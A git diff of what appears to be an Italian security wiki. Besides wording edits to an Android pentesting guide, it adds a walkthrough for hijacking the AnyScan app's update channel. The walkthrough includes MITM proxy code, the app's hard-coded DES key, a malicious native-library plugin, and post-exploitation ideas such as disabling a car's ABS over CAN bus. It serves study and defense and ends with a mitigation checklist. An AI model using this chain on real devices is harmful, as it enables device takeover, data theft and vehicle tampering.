diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 596676a81..2d79a9aa6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -334,6 +334,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 9e4ad206c..1565e1f0a 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,7 +13,7 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\ -**ADB** consente di controllare i dispositivi sia tramite **USB** che **rete** da un computer. Questa utility permette la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni. +**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **rete** da un computer. Questa utility permette la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni. Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb. @@ -26,6 +26,7 @@ A volte è interessante **modificare il codice dell'applicazione** per accedere - [Falsificare la tua posizione nel Play Store](spoofing-your-location-in-play-store.md) - [API Privilegiata Shizuku (accesso privilegiato non root basato su ADB)](shizuku-privileged-api.md) +- [Sfruttare meccanismi di aggiornamento in-app insicuri](insecure-in-app-update-rce.md) - **Scarica APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - Estrai APK dal dispositivo: ```bash @@ -57,11 +58,11 @@ Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** **Firebase** -Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### Comprensione di base dell'applicazione - Manifest.xml, strings.xml -L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo. +L'**esame dei file _Manifest.xml_ e _strings.xml_ di un'applicazione può rivelare potenziali vulnerabilità di sicurezza**. Questi file possono essere accessibili utilizzando decompilatori o rinominando l'estensione del file APK in .zip e poi decomprimendolo. **Vulnerabilità** identificate dal **Manifest.xml** includono: @@ -70,7 +71,7 @@ L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può ri - **Sicurezza della Rete**: Le configurazioni di sicurezza della rete personalizzate (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ possono specificare dettagli di sicurezza come i pin dei certificati e le impostazioni del traffico HTTP. Un esempio è consentire il traffico HTTP per domini specifici. - **Attività e Servizi Esportati**: Identificare attività e servizi esportati nel manifest può evidenziare componenti che potrebbero essere abusati. Ulteriori analisi durante i test dinamici possono rivelare come sfruttare questi componenti. - **Content Providers e FileProviders**: I content provider esposti potrebbero consentire accessi o modifiche non autorizzate ai dati. La configurazione dei FileProviders dovrebbe essere esaminata con attenzione. -- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per sfruttamenti, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input. +- **Broadcast Receivers e URL Schemes**: Questi componenti potrebbero essere sfruttati per attacchi, prestando particolare attenzione a come vengono gestiti gli URL schemes per vulnerabilità di input. - **Versioni SDK**: Gli attributi `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicano le versioni Android supportate, evidenziando l'importanza di non supportare versioni Android obsolete e vulnerabili per motivi di sicurezza. Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi personalizzati e altre note per gli sviluppatori possono essere scoperte, sottolineando la necessità di una revisione attenta di queste risorse. @@ -80,7 +81,7 @@ Dal file **strings.xml**, informazioni sensibili come chiavi API, schemi persona **Tapjacking** è un attacco in cui un **applicazione** **maligna** viene lanciata e **si posiziona sopra un'applicazione vittima**. Una volta che oscura visibilmente l'app vittima, la sua interfaccia utente è progettata in modo da ingannare l'utente a interagire con essa, mentre passa l'interazione all'app vittima.\ In effetti, sta **accecando l'utente dal sapere che sta effettivamente eseguendo azioni sull'app vittima**. -Trova ulteriori informazioni in: +Trova maggiori informazioni in: {{#ref}} tapjacking.md @@ -88,9 +89,9 @@ tapjacking.md ### Task Hijacking -Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Ciò significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**). +Un'**attività** con il **`launchMode`** impostato su **`singleTask` senza alcun `taskAffinity`** definito è vulnerabile al task hijacking. Questo significa che un'**applicazione** può essere installata e, se lanciata prima dell'applicazione reale, potrebbe **dirottare il task dell'applicazione reale** (quindi l'utente interagirà con l'**applicazione maligna pensando di utilizzare quella reale**). -Maggiori informazioni in: +Maggiore info in: {{#ref}} android-task-hijacking.md @@ -100,19 +101,19 @@ android-task-hijacking.md **Memoria Interna** -In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li ha **creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose. +In Android, i file **memorizzati** nella **memoria interna** sono **progettati** per essere **accessibili** esclusivamente dall'**app** che li **ha creati**. Questa misura di sicurezza è **imposta** dal sistema operativo Android ed è generalmente adeguata per le esigenze di sicurezza della maggior parte delle applicazioni. Tuttavia, gli sviluppatori a volte utilizzano modalità come `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` per **consentire** la condivisione di file tra diverse applicazioni. Tuttavia, queste modalità **non limitano l'accesso** a questi file da parte di altre applicazioni, comprese quelle potenzialmente dannose. 1. **Analisi Statica:** - **Assicurati** che l'uso di `MODE_WORLD_READABLE` e `MODE_WORLD_WRITABLE` sia **scrutinato con attenzione**. Queste modalità **possono potenzialmente esporre** file a **accessi non intenzionati o non autorizzati**. 2. **Analisi Dinamica:** -- **Verifica** le **autorizzazioni** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file. +- **Verifica** le **permissive** impostate sui file creati dall'app. In particolare, **controlla** se ci sono file **impostati per essere leggibili o scrivibili a livello globale**. Questo può rappresentare un rischio significativo per la sicurezza, poiché consentirebbe a **qualsiasi applicazione** installata sul dispositivo, indipendentemente dalla sua origine o intento, di **leggere o modificare** questi file. **Memoria Esterna** Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero essere adottate alcune precauzioni: 1. **Accessibilità**: -- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Ciò significa che qualsiasi applicazione o utente può accedere a questi file. +- I file sulla memoria esterna sono **globalmente leggibili e scrivibili**. Questo significa che qualsiasi applicazione o utente può accedere a questi file. 2. **Preoccupazioni di Sicurezza**: - Data la facilità di accesso, è consigliato **non memorizzare informazioni sensibili** sulla memoria esterna. - La memoria esterna può essere rimossa o accessibile da qualsiasi applicazione, rendendola meno sicura. @@ -124,7 +125,7 @@ Quando si trattano file su **memoria esterna**, come schede SD, dovrebbero esser La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` > [!TIP] -> A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione dannosa di ottenere accesso in lettura o scrittura ai file di un'altra app. +> A partire da Android 4.4 (**API 17**), la scheda SD ha una struttura di directory che **limita l'accesso da un'app alla directory specificamente per quell'app**. Questo impedisce a un'applicazione malevola di ottenere accesso in lettura o scrittura ai file di un'altra app. **Dati sensibili memorizzati in chiaro** @@ -133,7 +134,7 @@ La memoria esterna può essere **accessibile** in `/storage/emulated/0`, `/sdcar ### TLS Rotto -**Accetta tutti i certificati** +**Accetta Tutti i Certificati** Per qualche motivo, a volte gli sviluppatori accettano tutti i certificati anche se, ad esempio, il nome host non corrisponde a righe di codice come la seguente: ```java @@ -155,9 +156,9 @@ Gli sviluppatori non dovrebbero utilizzare **algoritmi deprecati** per eseguire ### Altri controlli - È consigliato **offuscare l'APK** per rendere più difficile il lavoro di reverse engineering per gli attaccanti. -- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i **propri controlli per vedere se il mobile è rootato** e agire di conseguenza. +- Se l'app è sensibile (come le app bancarie), dovrebbe eseguire i propri **controlli per vedere se il mobile è rootato** e agire di conseguenza. - Se l'app è sensibile (come le app bancarie), dovrebbe controllare se viene utilizzato un **emulatore**. -- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguire** per verificare se è stata modificata. +- Se l'app è sensibile (come le app bancarie), dovrebbe **controllare la propria integrità prima di eseguirla** per verificare se è stata modificata. - Usa [**APKiD**](https://github.com/rednaga/APKiD) per controllare quale compilatore/pacchetto/offuscatore è stato utilizzato per costruire l'APK. ### Applicazione React Native @@ -178,7 +179,7 @@ Leggi la seguente pagina per imparare come accedere facilmente al codice C# dell ### Applicazioni Superpacked -Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.** +Secondo questo [**post del blog**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked è un algoritmo Meta che comprime il contenuto di un'applicazione in un unico file. Il blog parla della possibilità di creare un'app che decomprime questo tipo di app... e di un modo più veloce che implica **eseguire l'applicazione e raccogliere i file decompressi dal filesystem.** ### Analisi statica automatizzata del codice @@ -231,20 +232,20 @@ Grazie alla connessione ADB puoi utilizzare **Drozer** e **Frida** all'interno d #### Utilizzando un emulatore -- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **ultimi versioni x86** supportano le librerie ARM senza necessità di un emulatore arm lento). +- [**Android Studio**](https://developer.android.com/studio) (Puoi creare dispositivi **x86** e **arm**, e secondo [**questo**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**ultimi versioni x86** supportano le librerie ARM senza necessitare di un emulatore arm lento). - Impara a configurarlo in questa pagina: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON** _**VirtualBox** per evitare potenziali errori._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versione gratuita:** Edizione personale, devi creare un account. _È consigliato **scaricare** la versione **CON**_ _**VirtualBox** per evitare potenziali errori._) - [**Nox**](https://es.bignox.com) (Gratuito, ma non supporta Frida o Drozer). > [!TIP] > Quando crei un nuovo emulatore su qualsiasi piattaforma ricorda che più grande è lo schermo, più lento sarà l'emulatore. Quindi seleziona schermi piccoli se possibile. -Per **installare i servizi google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente: +Per **installare i servizi Google** (come AppStore) in Genymotion devi cliccare sul pulsante contrassegnato in rosso nell'immagine seguente: ![](<../../images/image (277).png>) @@ -283,9 +284,9 @@ Se un'applicazione **crasha** e **salva log**, questi log possono assistere gli Come pentester, **cerca di dare un'occhiata a questi log**. -**Dati di analisi inviati a terzi** +**Dati analitici inviati a terzi** -Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **trapelare dati sensibili** a causa di implementazioni errate da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti. +Le applicazioni spesso integrano servizi come Google Adsense, che possono involontariamente **far trapelare dati sensibili** a causa di un'implementazione impropria da parte degli sviluppatori. Per identificare potenziali perdite di dati, è consigliabile **intercettare il traffico dell'applicazione** e controllare eventuali informazioni sensibili inviate a servizi di terze parti. ### DB SQLite @@ -296,7 +297,7 @@ Se il database sta salvando informazioni riservate ed è **crittografato** ma pu Enumera le tabelle usando `.tables` e enumera le colonne delle tabelle eseguendo `.schema `. -### Drozer (Sfruttare attività esportate, Content Providers e Servizi) +### Drozer (Attività di sfruttamento, Content Providers e Servizi) Da [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ti consente di **assumere il ruolo di un'app Android** e interagire con altre app. Può fare **qualsiasi cosa che un'applicazione installata può fare**, come utilizzare il meccanismo di comunicazione interprocesso (IPC) di Android e interagire con il sistema operativo sottostante.\ Drozer è uno strumento utile per **sfruttare attività esportate, servizi esportati e Content Providers** come imparerai nelle sezioni seguenti. @@ -308,7 +309,7 @@ Ricorda anche che il codice di un'attività inizia nel metodo **`onCreate`**. **Bypass dell'autorizzazione** -Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi.** +Quando un'Activity è esportata, puoi invocare il suo schermo da un'app esterna. Pertanto, se un'attività con **informazioni sensibili** è **esportata**, potresti **bypassare** i meccanismi di **autenticazione** **per accedervi**. [**Scopri come sfruttare le attività esportate con Drozer.**](drozer-tutorial/index.html#activities) @@ -330,7 +331,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity #### Tapjacking -Se il tapjacking non è prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate** all'utente. Per ulteriori informazioni su [**cos'è il Tapjacking segui il link**](#tapjacking). +Se il tapjacking non è prevenuto, potresti abusare dell'attività esportata per far **eseguire azioni inaspettate all'utente**. Per ulteriori informazioni su [**cosa è il Tapjacking segui il link**](#tapjacking). ### Sfruttare i Content Providers - Accesso e manipolazione di informazioni sensibili @@ -457,7 +458,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a In Android, il Keystore è il miglior posto per memorizzare dati sensibili, tuttavia, con privilegi sufficienti è ancora **possibile accedervi**. Poiché le applicazioni tendono a memorizzare qui **dati sensibili in chiaro**, i pentest dovrebbero controllare per questo come utente root o qualcuno con accesso fisico al dispositivo potrebbe essere in grado di rubare questi dati. -Anche se un'app ha memorizzato dati nel keystore, i dati dovrebbero essere crittografati. +Anche se un'app memorizza dati nel keystore, i dati dovrebbero essere crittografati. Per accedere ai dati all'interno del keystore, puoi utilizzare questo script Frida: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js) ```bash @@ -471,7 +472,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f _ _disattiva Intercept --> in MobSB HTTPTools seleziona la richiesta_ --> premi "**Send to Fuzzer**" --> _seleziona l'indirizzo del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web API Fuzzer**" per **fuzzare le richieste http** e cercare vulnerabilità. @@ -588,11 +589,11 @@ Una volta terminata l'analisi dinamica con MobSF, puoi premere su "**Start Web A ### Analisi Dinamica Assistita con Inspeckage Puoi ottenere lo strumento da [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\ -Questo strumento utilizzerà alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**. +Questo strumento utilizza alcuni **Hooks** per farti sapere **cosa sta succedendo nell'applicazione** mentre esegui un'**analisi dinamica**. ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Questo è un **ottimo strumento per eseguire analisi statiche con una GUI** +Questo è un **ottimo strumento per eseguire analisi statiche con un'interfaccia grafica** ![](<../../images/image (741).png>) @@ -609,8 +610,8 @@ qark --java path/to/specific/java/file.java - Mostra tutti i file estratti per un facile riferimento - Decompila automaticamente i file APK in formato Java e Smali -- Analizza AndroidManifest.xml per vulnerabilità comuni e comportamenti -- Analisi statica del codice sorgente per vulnerabilità comuni e comportamenti +- Analizza AndroidManifest.xml per vulnerabilità e comportamenti comuni +- Analisi statica del codice sorgente per vulnerabilità e comportamenti comuni - Informazioni sul dispositivo - e altro ancora ```bash @@ -618,7 +619,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare quelle vulnerabilità. +SUPER è un'applicazione da riga di comando che può essere utilizzata in Windows, MacOS X e Linux, che analizza i file _.apk_ in cerca di vulnerabilità. Lo fa decomprimendo gli APK e applicando una serie di regole per rilevare tali vulnerabilità. Tutte le regole sono centrate in un file `rules.json`, e ogni azienda o tester può creare le proprie regole per analizzare ciò di cui hanno bisogno. @@ -650,9 +651,9 @@ androbugs.exe -f [APK file] **Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvisare l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android. -Il rilevamento viene eseguito con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, con la libreria [`androguard`](https://github.com/androguard/androguard). +Il rilevamento viene effettuato con l'**analisi statica** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard). -Questo strumento cerca **comportamenti comuni di applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario... +Questo strumento cerca **comportamenti comuni delle applicazioni "cattive"** come: esfiltrazione di identificatori di telefonia, intercettazione di flussi audio/video, modifica dei dati PIM, esecuzione di codice arbitrario... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -681,7 +682,7 @@ Nota che a seconda del servizio e della configurazione che utilizzi per offuscar ### [ProGuard]() -Da [Wikipedia](): **ProGuard** è uno strumento open source da riga di comando che riduce, ottimizza e offusca il codice Java. È in grado di ottimizzare il bytecode e di rilevare e rimuovere istruzioni non utilizzate. ProGuard è software gratuito ed è distribuito sotto la GNU General Public License, versione 2. +Da [Wikipedia](): **ProGuard** è uno strumento da riga di comando open source che riduce, ottimizza e offusca il codice Java. È in grado di ottimizzare il bytecode e di rilevare e rimuovere istruzioni non utilizzate. ProGuard è software gratuito ed è distribuito sotto la GNU General Public License, versione 2. ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la costruzione dell'applicazione in modalità release. @@ -705,11 +706,11 @@ Puoi caricare un APK offuscato sulla loro piattaforma. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Google Gemini. +Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app android e deoffuscare il codice delle app android. Utilizza l'API pubblica di Gemini di Google. ### [Simplify](https://github.com/CalebFenton/simplify) -È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale tipo specifico di offuscazione venga utilizzato. +È un **deoffuscatore android generico.** Simplify **esegue virtualmente un'app** per comprendere il suo comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generico, quindi non importa quale sia il tipo specifico di offuscazione utilizzato. ### [APKiD](https://github.com/rednaga/APKiD) @@ -717,7 +718,7 @@ APKiD ti fornisce informazioni su **come è stato creato un APK**. Identifica mo ### Manuale -[Leggi questo tutorial per imparare alcuni trucchi su **come fare reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md) +[Leggi questo tutorial per imparare alcuni trucchi su **come fare il reverse engineering di offuscazioni personalizzate**](manual-deobfuscation.md) ## Laboratori diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md new file mode 100644 index 000000000..640fdb3e4 --- /dev/null +++ b/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md @@ -0,0 +1,124 @@ +# Meccanismi di Aggiornamento In-App Insicuri – Esecuzione Remota di Codice tramite Plugin Maligni + +{{#include ../../banners/hacktricks-training.md}} + +Molte applicazioni Android implementano i propri **canali di aggiornamento “plugin” o “funzione dinamica”** invece di utilizzare il Google Play Store. Quando l'implementazione è insicura, un attaccante in grado di intercettare il traffico può fornire **codice nativo arbitrario che verrà caricato all'interno del processo dell'app**, portando a una completa Esecuzione Remota di Codice (RCE) sul dispositivo – e in alcuni casi su qualsiasi dispositivo esterno controllato dall'app (auto, IoT, dispositivi medici…). + +Questa pagina riassume una catena di vulnerabilità del mondo reale trovata nell'app di diagnostica automobilistica Xtool **AnyScan** (v4.40.11 → 4.40.40) e generalizza la tecnica in modo da poter auditare altre app Android e sfruttare la misconfigurazione durante un ingaggio di red-team. + +--- +## 1. Identificazione di un TrustManager TLS Insicuro + +1. Decompila l'APK con jadx / apktool e localizza lo stack di rete (OkHttp, HttpUrlConnection, Retrofit…). +2. Cerca un **`TrustManager`** o `HostnameVerifier` personalizzato che si fida ciecamente di ogni certificato: +```java +public static TrustManager[] buildTrustManagers() { +return new TrustManager[]{ +new X509TrustManager() { +public void checkClientTrusted(X509Certificate[] chain, String authType) {} +public void checkServerTrusted(X509Certificate[] chain, String authType) {} +public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};} +} +}; +} +``` +3. Se presente, l'applicazione accetterà **qualsiasi certificato TLS** → puoi eseguire un **proxy MITM** trasparente con un certificato autofirmato: +```bash +mitmproxy -p 8080 -s addon.py # see §4 +iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator +``` +## 2. Reverse-Engineering the Update Metadata + +In the AnyScan case each app launch triggers an HTTPS GET to: +``` +https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx +``` +Il corpo della risposta è un **documento XML** i cui nodi `` contengono JSON **codificato in Base64, crittografato con DES-ECB** che descrive ogni plugin disponibile. + +Passi tipici di ricerca: +1. Individuare la routine crittografica (ad es. `RemoteServiceProxy`) e recuperare: +* algoritmo (DES / AES / RC4 …) +* modalità di operazione (ECB / CBC / GCM …) +* chiave / IV hard-coded (spesso chiavi DES a 56 bit o chiavi AES a 128 bit in costanti) +2. Re-implementare la funzione in Python per decrittografare / crittografare i metadati: +```python +from Crypto.Cipher import DES +from base64 import b64decode, b64encode + +KEY = IV = b"\x2A\x10\x2A\x10\x2A\x10\x2A" # 56-bit key observed in AnyScan + +def decrypt_metadata(data_b64: str) -> bytes: +cipher = DES.new(KEY, DES.MODE_ECB) +return cipher.decrypt(b64decode(data_b64)) + +def encrypt_metadata(plaintext: bytes) -> str: +cipher = DES.new(KEY, DES.MODE_ECB) +return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode() +``` +## 3. Crea un Plugin Maligno + +1. Scegli qualsiasi plugin legittimo in formato ZIP e sostituisci la libreria nativa con il tuo payload: +```c +// libscan_x64.so – constructor runs as soon as the library is loaded +__attribute__((constructor)) +void init(void){ +__android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid()); +// spawn reverse shell, drop file, etc. +} +``` + +```bash +$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so +$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt +``` +2. Aggiorna i metadati JSON in modo che `"FileName" : "PWNED.zip"` e `"DownloadURL"` punti al tuo server HTTP. +3. Esegui la crittografia DES + codifica Base64 del JSON modificato e copialo di nuovo all'interno dell'XML intercettato. + +## 4. Consegna il Payload con mitmproxy + +`addon.py` esempio che *silenziosamente* scambia i metadati originali: +```python +from mitmproxy import http +MOD_XML = open("fake_metadata.xml", "rb").read() + +def request(flow: http.HTTPFlow): +if b"/UpgradeService.asmx/GetUpdateListEx" in flow.request.path: +flow.response = http.Response.make( +200, +MOD_XML, +{"Content-Type": "text/xml"} +) +``` +Esegui un semplice server web per ospitare lo ZIP malevolo: +```bash +python3 -m http.server 8000 --directory ./payloads +``` +Quando la vittima avvia l'app, essa: +* recupera il nostro XML contraffatto attraverso il canale MITM; +* decripta e analizza con la chiave DES hard-coded; +* scarica `PWNED.zip` → decomprime all'interno dello storage privato; +* `dlopen()` la *libscan_x64.so* inclusa, eseguendo istantaneamente il nostro codice **con i permessi dell'app** (fotocamera, GPS, Bluetooth, filesystem, …). + +Poiché il plugin è memorizzato nella cache su disco, il backdoor **persiste attraverso i riavvii** e si avvia ogni volta che l'utente seleziona la funzione correlata. + +## 5. Idee Post-Exploitation + +* Rubare i cookie di sessione, i token OAuth o i JWT memorizzati dall'app. +* Rilasciare un APK di secondo livello e installarlo silenziosamente tramite `pm install` (l'app ha già `REQUEST_INSTALL_PACKAGES`). +* Abusare di qualsiasi hardware connesso – nello scenario AnyScan puoi inviare comandi **OBD-II / CAN bus** arbitrari (sbloccare porte, disabilitare ABS, ecc.). + +--- +### Checklist di Rilevamento e Mitigazione (blue team) + +* NON spedire mai una build di produzione con un TrustManager/HostnameVerifier personalizzato che disabilita la validazione del certificato. +* Non scaricare codice eseguibile da fonti esterne a Google Play. Se *devi*, firma ogni plugin con la stessa chiave **apkSigning v2** e verifica la firma prima di caricarlo. +* Sostituisci la crittografia debole/hard-coded con **AES-GCM** e una chiave rotante lato server. +* Valida l'integrità degli archivi scaricati (firma o almeno SHA-256). + +--- +## Riferimenti + +- [NowSecure – Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/) +- [Android – Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager) + +{{#include ../../banners/hacktricks-training.md}}